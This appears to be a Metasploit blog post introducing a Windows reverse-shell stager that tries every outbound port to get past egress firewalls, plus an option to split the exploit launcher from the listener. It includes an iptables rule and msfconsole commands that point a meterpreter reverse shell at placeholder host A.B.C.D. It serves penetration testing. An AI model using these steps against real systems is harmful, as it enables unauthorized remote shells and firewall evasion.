I was reading a fun blog post by Jason Mansfield about different ways to brute force a connection through a restrictive outbound firewall and realized that this would be trivial to implement in Metasploit and would go nicely with another feature implemented earlier today.

The general idea is that many networks block some or all outbound TCP ports from their network. This is a great way to avoid entire classes of client-side attacks and helps discourage employees from using non-authorized network applications. The trouble is, there are always exceptions. It may be that the CEO needs access to a real-time stock trading application or a developer needs access to a database service hosted at an ISP. Over time, holes start to appear in most outbound TCP rulesets and rarely, if ever get closed.

During a penetration test, nothing frustrates an auditor like having a working exploit for a target user, but not being able to get an interactive shell. In the case of networks with a restrictive outbound rules, the process of finding an allowed outbound port, or blindly installing some form of tunneling software, is time better spent cracking passwords and writing reports. Creating shellcode that can try multiple ports isn't all that hard, but doing so while keeping the size down and handling errors properly is another story.

Unfortunately, on the Windows platform, the connect() call will always wait for the system default timeout, unless the socket is in non-blocking mode. We could switch the socket to non-blocking, call select(), check the result, loop, and switch it back to blocking, but this would require a large amount of code, making the payload less useful for exploits that can only hold small amounts of shellcode. The payload can take so long to crawl its way up to the allowed port that the exploit module gives up and shuts down the listener. This is where the other new feature comes into play.

One often-requested feature is the ability to disable the builtin payload handler code for a particular module in the Metasploit Framework. This would allow the security auditor to launch exploits from one system, but receive the sessions and interact with them on another (using the exploit/multi/handler module on the receiving system). This feature would also allow a long-term, persistent listener (again, through exploit/multi/handler) to wait for a payload that tried all ports.

The new payload stager (windows/*/reverse_tcp_allports) accepts the LPORT variable as a starting port, tries to connect to the host specified by LHOST, and if it fails, bumps the port up by one and starts all over again. In order for the machine located at the LHOST address to handle all connections to all ports, a dedicated (unused) IP address is necessary, along with some iptables (or pf) magic. The following iptables command line will route all incoming TCP connections to any port to port 4444 of the specified IP (A.B.C.D):

# iptables -I INPUT -p tcp -m state --state NEW -d  A.B.C.D -j DNAT --to A.B.C.D:4444

We now need to setup a listener on the receiving system (A.B.C.D):

msf> use exploit/multi/handler
msf (exploit/handler) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/handler) > set LHOST A.B.C.D
msf (exploit/handler) > set LPORT 4444
msf (exploit/handler) > exploit -j

Finally we switch over to the system that is actually generating the attacks. To prevent the payload handler from running on the attacking system, we need to set the DisablePayloadHandler option to 'true':

msf (exploit/browser0day) > set PAYLOAD windows/meterpreter/reverse_tcp_allports
msf (exploit/browser0day) > set LHOST A.B.C.D
msf (exploit/browser0day) > set LPORT 1
msf (exploit/browser0day) > set DisablePayloadHandler true
msf (exploit/browser0day) > exploit

As clients connect to the attacking system's browser exploit, the payload they receive will try to connect to the receiving system at A.B.C.D, starting on port 1 and going to port 65535 (then repeating). The iptables rule will map any incoming connection to port 4444, which will activate the handler code, stage-load meterpreter, and make the session available to the auditor.

Keep in mind that this payload is slow - it can take up to a minute for a blocked port to timeout (its usually much less however) and still a few seconds even when a TCP reset is received. The great thing about splitting the exploit from the handler is that timing no longer matters as much. Even if it takes an hour to find a usable outbound port, the receiving system will still be waiting, while the attacking system can move on to other exploits. Judicious use of the AutoRunScript option for the Metepreter payloads will allow all sorts of actions to take place once the session is established, without requiring an auditor to be waiting on the console.